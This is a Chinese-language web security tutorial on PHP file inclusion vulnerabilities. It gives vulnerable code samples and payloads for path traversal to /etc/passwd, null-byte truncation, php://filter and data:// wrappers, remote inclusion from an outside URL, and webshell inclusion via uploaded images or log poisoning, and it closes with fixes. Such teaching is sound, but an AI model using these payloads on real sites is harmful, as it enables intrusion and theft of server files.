Web安全之文件包含漏洞

什麼是文件包含

程序開發人員一般會把重複使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件。而無需再次編寫,這種 文件調用的過程一般被稱爲文件包含。
例如:include “conn.php”

PHP中常見包含文件函數

  • include()
    當使用該函數包含文件時,只有代碼執行到include()函數時纔將文件包含進來,發生錯誤時之給出一個警告,繼續向下執行。
  • include_once()
    功能與Include()相同,區別在於當重複調用同一文件時,程序只調用一次
  • require()
    require()與include()的區別在於require()執行如果發生錯誤,函數會輸出錯誤信息,並終止腳本的運行。
  • require_once()
    功能與require()相同,區別在於當重複調用同一文件時,程序只調用一次。

區別

  • inlude :包含的文件不存在,程序會繼續執行
  • require:包含文件不存在,程序停止執行
    (如果出現語法錯誤,兩個不會繼續執行,如果是找不到這個文件,include繼續執行,require,停止執行)

文件包含漏洞原理
文件包含漏洞產生的原因是在通過引入文件時,引用的文件名,用戶可控,由於傳入的文件名沒有經過合理的校驗,或者校驗被繞過。

常見漏洞代碼

if(isset($_GET[page])){
	 include $_GET[page];
}else{
	 include "home.php";
}

文件包含漏洞危害

  • 配合文件上傳漏洞GetShell
  • 可以執行任意腳本代碼
  • 網站源碼文件以及配置文件泄露
  • 遠程包含GetShell
  • 控制整個網站甚至是服務器

文件包含漏洞的分類

  • 當被包含的文件在服務器本地時,就形成的本地文件包含漏洞。
  • 本地文件包含和遠程文件包含造成漏洞的原因是一樣的,當php.ini 中的配置選項allow_url_fopen和allow_url_include爲ON的話,則包含的文件可以是第三方服務器中的文件,這樣就形成了遠程文件包含漏洞。

本地文件包含利用

  • 上傳圖片馬,包含圖片馬GetShell
  • 讀取網站源碼以及配置文件
  • 包含日誌文件GetShell

包含上傳圖片_001

<?php
if(isset($_GET[page])){
	  include($_GET[page]);
}else{
	  include 'show.php';
}
?>

包含上傳圖片_002

<?php
if(isset($_GET[page])){
	  include('./action/' . $_GET[page]);
}else{
	  include ./action/show.php';
}
?>

包含上傳圖片_003

<?php
if(isset($_GET[page])){
	 include('./action/'. $_GET[page] . '.php');
}else{
	 include './action/show.php';
}
?>

%00截斷

  • /etc/passwd%00
  • 需要 magic_quotes_gpc=off,PHP小於5.3.4有效

路徑長度截斷

  • /etc/passwd././././././././././././.[…]/././././././././.
  • php版本小於5.2.8可以成功,linux需要文件名長於4096,windows需要長於256

讀服務器本地文件

  • ?page=…/…/…/…/…/…/…/etc/passwd

讀網站源碼文件
index.php?page=php://filter/read=convert.base64-encode/resource=index.php

僞協議:

  • 直接包含木馬文件,可以是圖片,txt,壓縮包…
  • ?page=php://input 接收post請求
    需要開啓 僅需要開啓 allow_url_include
  • ?page=http://172.18.11.66/0831/1.txt
    需要開啓 allow_url_fopen,allow_url_include (遠程包含)
  • ?page=php://filter/read=convert.base64-
    encode/resource=main.php (讀取文件源碼)
  • ?page=data://text/plain,<?php phpinfo();?>
    需要開啓allow_url_fopen,allow_url_include

包含日誌文件GetShell

  1. 首先 找到日誌文件存放位置
  2. 讓日誌文件插入PHP代碼
  3. 包含日誌文件

遠程文件包含利用
包含遠程txt文件(php.ini的配置選項allow_url_fopen和allow_url_include爲on),遠程服務器上存放一個txt文件,或
者不被解析的php文件。(因爲包含的時候返回的是php源代碼,所以不能被解析)

index.php?page=http://www.xxx.com/1.txt

漏洞挖掘

  • 沒有通用的挖掘辦法
  • 特定的CMS,特定的版本可能存在漏洞(include,require)
  • Web漏洞掃描器掃描,常見的web漏洞掃描器都支持可以檢測。

修復辦法

  • PHP中使用open_basedir配置限制訪問在指定的區域
  • 過濾.(點)/(反斜槓)\(反 斜槓)
  • 禁止服務器遠程文件包含
    (allow_url_fopen,allow_url_include,off)
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章